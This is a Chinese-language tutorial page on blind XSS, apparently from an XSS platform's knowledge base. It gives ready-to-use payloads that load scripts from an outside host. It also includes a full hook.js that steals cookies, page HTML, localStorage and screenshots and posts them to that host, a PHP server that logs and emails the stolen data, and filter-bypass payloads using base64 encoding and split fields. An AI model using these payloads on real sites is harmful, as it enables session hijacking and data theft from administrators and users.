盲XSS(Blind XSS)攻击技术详解

15分钟 | 高级技巧

一、什么是盲XSS

盲XSS(Blind XSS)是指攻击者提交恶意Payload后,无法立即在当前页面看到执行结果,而是在管理员访问后台或其他页面时触发的XSS攻击。

1.1 盲XSS的特点

1.2 常见触发场景

// 场景1:用户留言被管理员查看
用户提交: <script src="https://xss.li/blind.js"></script>
管理员打开后台查看留言 → 触发XSS

// 场景2:订单备注
客户填写订单备注包含Payload
商家在后台查看订单 → 触发XSS

// 场景3:日志系统
User-Agent中注入Payload
运维人员查看日志 → 触发XSS

二、盲XSS Payload构造

2.1 基础盲XSS Payload

// 远程加载脚本
<script src="https://xss.li/hook.js"></script>

// 图片标签
<img src=x onerror="var s=document.createElement('script');s.src='https://xss.li/hook.js';document.body.appendChild(s)">

// 使用noscript绕过某些过滤
<noscript></noscript><script src="https://xss.li/hook.js"></script>

2.2 完整的盲XSS Payload

// hook.js 内容
(function(){
  var data = {
    url: document.location.href,
    cookie: document.cookie,
    html: document.documentElement.outerHTML,
    localStorage: JSON.stringify(localStorage),
    userAgent: navigator.userAgent,
    timestamp: new Date().toISOString()
  };
  
  // 发送数据到攻击者服务器
  fetch('https://xss.li/api/blind-report', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify(data)
  });
  
  // 截图(如果支持)
  if(typeof html2canvas !== 'undefined'){
    html2canvas(document.body).then(canvas => {
      canvas.toBlob(blob => {
        const formData = new FormData();
        formData.append('screenshot', blob);
        fetch('https://xss.li/api/screenshot', {
          method: 'POST',
          body: formData
        });
      });
    });
  }
})();

2.3 多协议盲XSS

<!-- HTTP/HTTPS双协议支持 -->
<script src="//xss.li/hook.js"></script>

<!-- 使用Data URI -->
<script src="data:text/javascript,fetch('https://xss.li/report?url='+encodeURIComponent(location.href))"></script>

三、盲XSS平台搭建

3.1 简易接收服务器(PHP)

<?php
// blind-report.php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json');

$data = json_decode(file_get_contents('php://input'), true);
$logFile = 'blind_xss_' . date('Y-m-d') . '.log';

file_put_contents($logFile, 
  date('[Y-m-d H:i:s] ') . json_encode($data, JSON_PRETTY_PRINT) . PHP_EOL,
  FILE_APPEND
);

// 发送邮件通知
mail('your@email.com', 'Blind XSS Triggered!', json_encode($data));

echo json_encode(['status' => 'ok']);
?>

3.2 使用XSS Hunter

XSS Hunter是专门用于盲XSS的开源平台:

// 注册XSS Hunter账号后使用提供的Payload
<script src="https://your-username.xss.ht"></script>

3.3 使用本平台

蓝莲花XSS平台提供完整的盲XSS监控功能:

四、盲XSS挖掘技巧

4.1 寻找注入点

4.2 绕过技巧

// 使用多层编码
<img src=x onerror="eval(atob('ZmV0Y2goJ2h0dHBzOi8veHNzLmxpJyk='))">

// 分段注入
在多个字段中分别注入:
字段1: <script>
字段2: var s=document.createElement('script');
字段3: s.src='https://xss.li/hook.js';document.body.appendChild(s)
字段4: </script>

实战建议

1. 使用唯一标识:在Payload中加入唯一ID以区分不同测试点
2. 耐心等待:盲XSS可能需要数天才触发
3. 多点布局:在所有可能的输入点都尝试
4. 保持低调:避免破坏性Payload

五、真实案例

5.1 Shopify盲XSS($500赏金)

研究员在商店名称字段注入盲XSS,当Shopify员工查看商店信息时触发,获得管理员Cookie。

5.2 Facebook盲XSS

通过在页面名称中注入,当Facebook审核人员查看待审核页面时触发。

总结

盲XSS是高级XSS技术,需要:

  1. 搭建可靠的监控平台
  2. 耐心等待触发
  3. 覆盖所有可能的输入点
  4. 遵守负责任披露原则
上一篇 返回知识库 下一篇